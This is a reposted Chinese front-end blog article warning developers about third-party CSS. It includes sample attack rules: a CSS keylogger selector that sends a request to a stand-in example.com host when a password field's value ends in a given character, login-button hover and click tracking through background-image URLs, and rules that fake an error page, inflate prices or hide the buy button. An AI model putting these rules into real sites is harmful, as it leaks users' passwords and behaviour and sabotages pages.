本文來(lái)自@yeaseonzhang；鏈接：http://yeaseonzhang.github.io/2018/04/10/%E5%88%AB%E4%BA%BA%E5%86%99%E7%9A%84css%EF%BC%8C%E4%BD%A0%E6%95%A2%E7%94%A8%E5%90%97%EF%BC%9F/

CSS能做的東西還是很多的，隨著CSS Houdini（胡迪尼）的標(biāo)準(zhǔn)化，會(huì)變得更強(qiáng)大...

正文從這里開(kāi)始 ~

為了實(shí)現(xiàn)高效開(kāi)發(fā)，大多數(shù)時(shí)候會(huì)選擇別人實(shí)現(xiàn)好的庫(kù)/組件引用到自己的項(xiàng)目中，但是這樣真的安全嗎？

大多數(shù)web開(kāi)發(fā)者認(rèn)為只要不使用別人的js，安全就會(huì)有保證。Too young, too naive，殊不知“黑客”已經(jīng)開(kāi)始在css上做手腳了。

在瀏覽器設(shè)置中用戶可以禁用js，但是css卻是沒(méi)有辦法禁用的。

首先聊一聊使用第三方資源，能夠造成的危害。

圖片

<img src="https://img.com/iphone6s.jpg">

引用第三方圖片資源，可能會(huì)出現(xiàn)2個(gè)問(wèn)題：

• 圖片資源失效
• 圖片資源被替換

上圖展示了使用第三方圖片可能帶來(lái)的后果，圖片資源只會(huì)影響自身的狀態(tài)而不會(huì)影響其他部分。

腳本Javascript

<script src="http://example.com/script.js"></script>

腳本的作用范圍就不是圖片能夠比擬的了，腳本能夠隨意控制整個(gè)頁(yè)面。

• 讀取、篡改頁(yè)面內(nèi)容
• 監(jiān)控用戶行為
• 使用用戶瀏覽器的算力進(jìn)行挖礦
• 使用用戶cookie做請(qǐng)求，并轉(zhuǎn)發(fā)響應(yīng)
• 讀取、篡改瀏覽器storage
• More

注：storage/indexDB 如果被更改，即使刪除了腳本，這些更改仍然不可逆。

只有在完全信任的情況下，才會(huì)選擇加載第三方腳本。

CSS

css在作用范圍的方面更加接近于js，因?yàn)樗瑯邮窃谡麄€(gè)頁(yè)面生效。

css能在以下幾個(gè)方面對(duì)頁(yè)面進(jìn)行操作：

• 增、刪和改頁(yè)面內(nèi)容
• 根據(jù)頁(yè)面內(nèi)容發(fā)起請(qǐng)求
• 響應(yīng)用戶交互

與js相比，css不能做到的是修改storage，也不能用來(lái)挖礦。

鍵盤(pán)記錄器

鍵盤(pán)記錄器，指的是頁(yè)面會(huì)記錄用戶的輸入。目前這種行為只存在于使用React/類(lèi)React框架的頁(yè)面。

input[type="password"][value$="p"] {background: url(//example.com/password?p); }

如果密碼輸入框，輸入以p結(jié)尾的密碼，就會(huì)發(fā)起一個(gè)//exaple.com/password?p請(qǐng)求。瀏覽器默認(rèn)不會(huì)記住input輸入框的輸入，這也就是為什么說(shuō)這種行為只存在于使用React/類(lèi)React框架的頁(yè)面中，下面截取兩個(gè)例子。

JD主站沒(méi)有使用React/類(lèi)React框架，輸入框的內(nèi)容不會(huì)再input標(biāo)簽中顯示value屬性

instagram使用的是React框架，會(huì)把輸入框的內(nèi)容同步顯示在input的value屬性中。

隱藏內(nèi)容

通過(guò)一些技巧，將真正的頁(yè)面內(nèi)容不展示給用戶。

body {display: none; } html::after {content: 'HTTP 500 Server Error'; }

上例將真正的主體內(nèi)容隱藏，展示給用戶HTTP 500錯(cuò)誤。

增加內(nèi)容

.price-value::after {content: '8'; }

商品漲價(jià)了誒，估計(jì)連賣(mài)家都不知道。遇到這種情況用戶一般都不會(huì)產(chǎn)生購(gòu)買(mǎi)欲望了。

移動(dòng)內(nèi)容

.move-purchase-button {opacity: 0;position: absolute;top: 100px;left: 100px; }

結(jié)算按鈕被第三方css就這樣搞沒(méi)了，用戶根本沒(méi)辦法完成購(gòu)買(mǎi)行為，這種情況對(duì)電商網(wǎng)站很傷，導(dǎo)致“只能看不能買(mǎi)”。

監(jiān)控用戶交互

.login-button:hover {background: url('//example.com/login-button-hover'); } .login-button:active {background: url('//example.com/login-button-active'); }

通過(guò)上面的代碼，可以用來(lái)檢測(cè)用戶在登錄按鈕的交互狀態(tài)，是hover還是active(點(diǎn)擊)，不同的狀態(tài)會(huì)發(fā)送不同的請(qǐng)求。

如果頁(yè)面中適量增加類(lèi)似css代碼，可以有用來(lái)做用戶畫(huà)像分析。

轉(zhuǎn)載于:https://www.cnblogs.com/chenrf/p/9911689.html

總結(jié)

以上是生活随笔為你收集整理的前端读者 | 别人写的css，你敢用吗？的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。